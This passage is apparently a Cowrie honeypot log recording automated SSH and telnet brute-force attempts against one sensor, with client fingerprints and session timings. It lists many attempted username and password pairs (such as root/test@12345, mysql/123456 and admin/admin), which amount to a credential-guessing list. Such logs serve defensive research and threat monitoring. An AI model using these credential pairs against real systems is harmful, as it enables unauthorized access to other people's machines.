0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:43.545558Z","src_ip":"122.168.114.167","session":"bc0b0639dbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9d534323dbd","protocol":"telnet","message":"New connection: 185.26.126.47:36712 (159.203.135.109:23) [session: f9d534323dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:49.379380Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37000,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd85c1f06a9","protocol":"telnet","message":"New connection: 185.26.126.47:37000 (159.203.135.109:23) [session: afd85c1f06a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:49.916508Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbbd81a7ab7e","protocol":"ssh","message":"New connection: 202.4.106.201:58164 (159.203.135.109:22) [session: bbbd81a7ab7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:51.499525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:51.506095Z","src_ip":"202.4.106.201","session":"bbbd81a7ab7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:51.777177Z","src_ip":"202.4.106.201","session":"bbbd81a7ab7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@12345","message":"login attempt [root/test@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:52.893013Z","src_ip":"202.4.106.201","session":"bbbd81a7ab7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:54.167272Z","src_ip":"202.4.106.201","session":"bbbd81a7ab7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:55.488879Z","src_ip":"122.168.114.167","session":"bc0b0639dbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.204","src_port":45934,"dst_ip":"159.203.135.109","dst_port":23,"session":"01d1a28ff306","protocol":"telnet","message":"New connection: 195.178.110.204:45934 (159.203.135.109:23) [session: 01d1a28ff306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:55.717624Z"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:38:59.324705Z","src_ip":"122.168.114.167","session":"bc0b0639dbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.78780674934387,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:00.685643Z","src_ip":"185.26.126.47","session":"b8199d9bcf84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.186514139175415,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:01.102903Z","src_ip":"185.26.126.47","session":"afd85c1f06a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45370,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a0edea829e3","protocol":"ssh","message":"New connection: 159.203.92.129:45370 (159.203.135.109:22) [session: 6a0edea829e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:10.308849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:10.313715Z","src_ip":"159.203.92.129","session":"6a0edea829e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:10.318499Z","src_ip":"159.203.92.129","session":"6a0edea829e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"!QAZ2wsx#EDC","message":"login attempt [at/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:10.330174Z","src_ip":"159.203.92.129","session":"6a0edea829e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:11.335547Z","src_ip":"159.203.92.129","session":"6a0edea829e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35200,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c4a10eb466","protocol":"ssh","message":"New connection: 122.168.114.167:35200 (159.203.135.109:22) [session: a1c4a10eb466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:18.908505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:21.712588Z","src_ip":"122.168.114.167","session":"a1c4a10eb466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:21.716560Z","src_ip":"122.168.114.167","session":"a1c4a10eb466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55266,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6f1ea040ed8","protocol":"telnet","message":"New connection: 212.47.75.195:55266 (159.203.135.109:23) [session: a6f1ea040ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:25.152609Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":29560,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4a25a939b0a","protocol":"ssh","message":"New connection: 159.223.45.177:29560 (159.203.135.109:22) [session: b4a25a939b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:26.786450Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:27.119294Z","src_ip":"195.178.110.204","session":"01d1a28ff306","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:27.167237Z","src_ip":"195.178.110.204","session":"01d1a28ff306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.1258487701416,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:28.505135Z","src_ip":"185.26.126.47","session":"f9d534323dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:29.546146Z","src_ip":"159.223.45.177","session":"b4a25a939b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":54842,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae0c9fd8bf3","protocol":"ssh","message":"New connection: 103.182.132.154:54842 (159.203.135.109:22) [session: 1ae0c9fd8bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:33.435306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:33.439935Z","src_ip":"103.182.132.154","session":"1ae0c9fd8bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:33.652322Z","src_ip":"103.182.132.154","session":"1ae0c9fd8bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin!@#","message":"login attempt [ubuntu/Admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:34.532866Z","src_ip":"103.182.132.154","session":"1ae0c9fd8bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:34.658690Z","src_ip":"122.168.114.167","session":"a1c4a10eb466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:35.748724Z","src_ip":"103.182.132.154","session":"1ae0c9fd8bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:39.253636Z","src_ip":"122.168.114.167","session":"a1c4a10eb466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55276,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c32dbc4745","protocol":"telnet","message":"New connection: 212.47.75.195:55276 (159.203.135.109:23) [session: 50c32dbc4745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:42.188678Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":55282,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ccb5b34a91e","protocol":"telnet","message":"New connection: 212.47.75.195:55282 (159.203.135.109:23) [session: 2ccb5b34a91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:44.242808Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":47524,"dst_ip":"159.203.135.109","dst_port":22,"session":"557f71784c80","protocol":"ssh","message":"New connection: 202.4.106.201:47524 (159.203.135.109:22) [session: 557f71784c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.121412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.125811Z","src_ip":"202.4.106.201","session":"557f71784c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12403440475464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.276511Z","src_ip":"212.47.75.195","session":"a6f1ea040ed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48582,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcd81b35423","protocol":"ssh","message":"New connection: 159.203.92.129:48582 (159.203.135.109:22) [session: efcd81b35423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.294140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.298830Z","src_ip":"159.203.92.129","session":"efcd81b35423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.303147Z","src_ip":"159.203.92.129","session":"efcd81b35423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"!QAZ@WSX3edc!@#","message":"login attempt [at/!QAZ@WSX3edc!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.314855Z","src_ip":"159.203.92.129","session":"efcd81b35423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.404071Z","src_ip":"202.4.106.201","session":"557f71784c80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37602,"dst_ip":"159.203.135.109","dst_port":22,"session":"921e00927e4c","protocol":"ssh","message":"New connection: 122.168.114.167:37602 (159.203.135.109:22) [session: 921e00927e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:56.744503Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:57.324632Z","src_ip":"159.203.92.129","session":"efcd81b35423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1q2w3e4r","message":"login attempt [user01/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:57.547014Z","src_ip":"202.4.106.201","session":"557f71784c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:58.827667Z","src_ip":"202.4.106.201","session":"557f71784c80","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:39:59.726510Z","src_ip":"122.168.114.167","session":"921e00927e4c","protocol":"ssh"}
